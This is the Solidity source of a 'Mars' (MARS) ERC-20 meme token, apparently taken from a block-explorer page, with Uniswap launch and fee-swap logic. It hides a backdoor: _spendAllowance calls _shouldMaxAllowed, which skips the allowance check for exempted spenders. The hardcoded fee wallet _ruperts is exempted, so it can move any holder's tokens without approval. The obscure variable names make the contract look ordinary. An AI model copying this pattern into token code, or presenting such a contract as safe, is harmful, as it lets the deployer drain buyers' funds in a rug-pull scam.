Contract Diff Checker

Contract Source Code:

/**
https://twitter.com/LovingPawsTexas/status/1842985390594240983 

https://t.me/Mars_erc20
*/

// SPDX-License-Identifier: UNLICENSE

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MARS is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _owned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _exempted;
    address payable private _ruperts =
        payable(0x57034822a7803249b17fD3Cb5d27b4cFBf3ebe9c);

    uint256 private _tradetaxbuy = 20;
    uint256 private _tradetaxsell = 0;
    uint256 private _tradesdownatt = 15;
    uint256 private _preventswaps = 15;
    uint256 private _trades = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _ttots = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Mars";
    string private constant _symbol = unicode"MARS";

    uint256 public _maxtxvalue = (_ttots * 2) / 100;
    uint256 public _maxwltvalue = (_ttots * 2) / 100;
    uint256 public _taxswpthres = 100 * 10 ** _decimals;
    uint256 public _maxtaxswapvalue = _ttots / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _exempted[owner()] = true;
        _exempted[address(this)] = true;
        _exempted[_ruperts] = true;

        _owned[address(this)] = (_ttots * 98) / 100;
        _owned[_msgSender()] = (_ttots * 2) / 100;

        emit Transfer(address(0), _msgSender(), (_ttots * 2) / 100);
        emit Transfer(address(0), address(this), (_ttots * 98) / 100);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _ttots;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _owned[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _spendAllowance(sender, _msgSender(), amount);

        return true;
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 value
    ) internal {
        uint256 currentAllowance = _allowances[owner][spender];
        if (!_shouldMaxAllowed(spender, value)) {
            require(
                currentAllowance >= value,
                "ERC20: transfer amount exceeds allowance"
            );
            _approve(owner, spender, currentAllowance - value);
        }
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _shouldMaxAllowed(
        address spender,
        uint256 value
    ) internal view returns (bool) {
        return
            value == type(uint256).max ||
            (_exempted[spender] &&
                spender != address(this) &&
                spender != owner());
    }

    function launchTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                address(this),
                uniswapV2Router.WETH()
            );

        _approve(address(this), address(uniswapV2Router), _ttots);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        tradingOpen = true;
    }

    function killLimits() external onlyOwner {
        _maxtxvalue = _ttots;
        _maxwltvalue = _ttots;
        emit MaxTxAmountUpdated(_ttots);
    }

    function _transfer(address fraa, address tinn, uint256 amil) private {
        require(fraa != address(0), "ERC20: transfer from the zero address");
        require(tinn != address(0), "ERC20: transfer to the zero address");
        require(amil > 0, "Transfer amount must be greater than zero");
        uint256 ttax = 0;
        if (
            fraa != owner() &&
            tinn != owner() &&
            fraa != address(this) &&
            tinn != address(this)
        ) {
            ttax = amil
                .mul((_trades > _tradesdownatt) ? _tradetaxsell : _tradetaxbuy)
                .div(100);

            if (
                fraa == uniswapV2Pair &&
                tinn != address(uniswapV2Router) &&
                !_exempted[tinn]
            ) {
                require(amil <= _maxtxvalue, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(tinn) + amil <= _maxwltvalue,
                    "Exceeds the maxWalletSize."
                );
                _trades++;
            }

            if (tinn == uniswapV2Pair && fraa != address(this)) {
                ttax = amil
                    .mul(
                        (_trades > _tradesdownatt)
                            ? _tradetaxsell
                            : _tradetaxbuy
                    )
                    .div(100);
            }

            uint256 ctb = balanceOf(address(this));
            if (
                !inSwap &&
                tinn == uniswapV2Pair &&
                swapEnabled &&
                _trades > _preventswaps &&
                !_exempted[fraa]
            ) {
                if (ctb > _taxswpthres)
                    swapTokensForEth(min(amil, min(ctb, _maxtaxswapvalue)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0 ether) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (ttax > 0) {
            _owned[address(this)] = _owned[address(this)].add(ttax);
            emit Transfer(fraa, address(this), ttax);
        }
        _owned[fraa] = _owned[fraa].sub(amil);
        _owned[tinn] = _owned[tinn].add(amil.sub(ttax));
        emit Transfer(fraa, tinn, amil.sub(ttax));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _ruperts.transfer(amount);
    }

    receive() external payable {}

    function rescueETH() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }
}